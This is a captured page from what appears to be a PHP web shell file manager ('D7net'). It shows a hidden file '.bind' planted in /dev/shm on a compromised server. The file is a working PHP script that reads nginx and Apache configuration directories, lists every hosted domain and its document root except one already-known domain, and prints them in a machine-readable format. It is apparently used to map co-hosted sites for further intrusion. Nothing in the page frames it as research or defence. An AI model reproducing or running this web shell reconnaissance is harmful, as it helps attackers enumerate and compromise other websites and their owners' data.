D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
proc
/
thread-self
/
root
/
dev
/
shm
/
Filename :
.bind
back
Copy
<?php $existed = ["nasosteel.com"]; function is_valid_domain($domain) { $domain = trim($domain, " \t\n\r\"'"); if (!$domain || substr_count($domain, '.') < 1 || $domain === '_' || $domain === 'default_server' || $domain[0] === '~') { return false; } if (stripos($domain, 'http://') === 0) $domain = substr($domain, 7); elseif (stripos($domain, 'https://') === 0) $domain = substr($domain, 8); if (stripos($domain, 'www.') === 0) $domain = substr($domain, 4); if (strpos($domain, '/') !== false) $domain = explode('/', $domain)[0]; $domain = rtrim($domain, '/'); return preg_match('/^[a-z0-9][a-z0-9.-]*\.[a-z]{2,}$/i', $domain) ? $domain : false; } function scan_nginx_file($path, $existed) { $c = @file_get_contents($path); if (!$c) return; $offset = 0; while (preg_match('/\bserver\s*\{/', $c, $m, PREG_OFFSET_CAPTURE, $offset)) { $start = $m[0][1]; $depth = 1; $pos = $start + strlen($m[0][0]); while ($depth > 0 && $pos < strlen($c)) { if ($c[$pos] === '{') $depth++; elseif ($c[$pos] === '}') $depth--; $pos++; } $block = substr($c, $start, $pos - $start); preg_match('/\broot\s+([^;]+);/', $block, $rm); $root = isset($rm[1]) ? trim(trim($rm[1]), "\"'") : ''; preg_match('/\bserver_name\s+([^;]+);/', $block, $sm); if (isset($sm[1])) { $names = preg_split('/\s+/', trim($sm[1]), -1, PREG_SPLIT_NO_EMPTY); foreach ($names as $name) { $d = is_valid_domain($name); if ($d && !in_array($d, $existed, true)) { $out_path = $root ?: dirname($path); $out_path = str_replace('\\', '/', $out_path); echo "<f>{$out_path}@@@{$d}@@@nginx@@@{$path}</f>\n"; } } } $offset = $pos; } } function scan_apache_file($path, $existed) { $c = @file_get_contents($path); if (!$c) return; $vhosts = preg_split('/<VirtualHost\s+[^>]*>/i', $c, -1, PREG_SPLIT_NO_EMPTY); array_shift($vhosts); $parts = preg_split('/<VirtualHost\s+[^>]*>/i', $c); for ($i = 1; $i < count($parts); $i++) { $block = $parts[$i]; $end = strpos($block, '</VirtualHost>'); if ($end !== false) $block = substr($block, 0, $end); preg_match('/DocumentRoot\s+["\']?([^"\'\\s]+)["\']?/', $block, $dm); $root = isset($dm[1]) ? trim($dm[1], "\"'") : ''; $names = []; if (preg_match('/ServerName\s+([^\\n#]+)/', $block, $m)) $names[] = trim($m[1]); if (preg_match_all('/ServerAlias\s+([^\\n#]+)/', $block, $aliases)) { foreach ($aliases[1] as $a) $names = array_merge($names, preg_split('/\s+/', trim($a), -1, PREG_SPLIT_NO_EMPTY)); } foreach ($names as $name) { $d = is_valid_domain($name); if ($d && !in_array($d, $existed, true)) { $out_path = $root ?: dirname($path); $out_path = str_replace('\\', '/', $out_path); echo "<f>{$out_path}@@@{$d}@@@apache@@@{$path}</f>\n"; } } } } function scan_conf_dir($dir, $existed) { if (!@is_dir($dir)) return; $files = @scandir($dir); if (!$files) return; foreach ($files as $f) { if ($f === '.' || $f === '..') continue; $p = $dir . '/' . $f; if (@is_dir($p)) continue; if ((substr($f, -5) === '.conf' || substr($f, -6) === '.vhost' || strpos($f, '.') === false) && @is_readable($p)) { if (strpos($p, 'nginx') !== false) scan_nginx_file($p, $existed); elseif (strpos($p, 'apache') !== false || strpos($p, 'httpd') !== false) scan_apache_file($p, $existed); } } } $dirs = [ '/etc/nginx/sites-enabled', '/etc/nginx/sites-available', '/etc/nginx/conf.d', '/etc/nginx/vhosts.d', '/etc/apache2/sites-enabled', '/etc/apache2/sites-available', '/etc/apache2/conf.d', '/etc/httpd/conf.d', '/etc/httpd/vhosts.d', ]; foreach ($dirs as $d) { scan_conf_dir($d, $existed); } die('!ended!');